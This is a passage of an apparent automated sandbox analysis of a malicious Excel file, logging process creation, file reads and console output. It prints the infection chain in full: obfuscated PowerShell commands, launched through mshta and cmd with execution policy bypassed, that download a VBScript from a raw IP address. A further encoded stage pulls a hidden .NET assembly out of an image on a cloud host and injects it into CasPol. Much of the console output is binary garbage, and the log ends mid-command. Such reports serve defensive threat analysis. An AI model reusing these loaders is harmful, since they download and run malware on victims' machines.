Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.`.......h.........G.....@.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............:e.....q..k......d.....(.P.....`.......h.......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....G.....N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............:e.....q..k......d.....(.P.....`.......h...............l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ...............}..w.............:e.....q..k......d.....(.P.....`.......h.........G.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................0........Wl.....}..w......G.....@E......^...............(.P.....`.......h.........G.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .........................................Wl.....}..w......G.....@E......^...............(.P.....`.......h.........G.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............T.r.u.e...m.....P.......................P.......X.........n..............3......x.".............P...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................m.....}..w......m......................1......(.P.....................x.".............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!..............P................m.......m.....}..w.............................1......(.P..............3........!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm................)......b}k....}..w............\.......................(.P.......................).............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.............................................}..w..............S......a}k....`\|......(.P.......................!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm................)......b}k....}..w............\.......................(.P.......................).............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.............................................}..w..............S......a}k....`\|......(.P.......................!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....x.).....N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1...S......a}k....`\|......(.P.....................x.)..... .......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.............................................}..w..............S......a}k....`\|......(.P.......................!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.................x.).....@.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.............................................}..w..............S......a}k....`\|......(.P.......................!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...x.).....N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.............................................}..w..............S......a}k....`\|......(.P.......................!.....l.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ...............}..w..............S......a}k....`\|......(.P.....................x.).............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................0....5...Wl.....}..w......).....@E......^...............(.P.......................).............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .....................................5...Wl.....}..w......).....@E......^...............(.P.......................).............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............T.r.u.e...m.....p.......................p.......x.........n..............3......................p...............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................m.....}..w......m......................1......(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................p.......}..w............8.......8.......@"......(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.......................]Hk....}..w....p.......\.......................(.P.....................(...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................r.e.s.o.l.v.e.d.:. .'.p.a.s.t.e...e.e.'.".Hk....8.9.....(.P.............................*.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.......................]Hk....}..w....p.......\.......................(.P.....................(...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.8.0.6......\Hk....8.9.....(.P.............................$.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................p.......}..w..............&......\Hk....8.9.....(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................p.......}..w..............&......\Hk....8.9.....(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................p.......}..w..............&......\Hk....8.9.....(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................p.......}..w..............&......\Hk....8.9.....(.P.............................T.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......p.......}..w..............&......\Hk....8.9.....(.P.....................................................

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\DWWIN.EXE	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Cot90012ARCACONTAL.xls

ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES474.tmp" "c:\Users\user\AppData\Local\Temp\40h2inb3\CSC48DBA3EBDCD44EA8BEA847E1C793E7D2.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE "C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 2156
Source: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE	Process created: C:\Windows\System32\DWWIN.EXE C:\Windows\system32\dwwin.exe -x -s 2156
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5216.tmp" "c:\Users\user\AppData\Local\Temp\sajgx3ks\CSC55704BF691DD479D8D12F35E2CEB2B9C.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 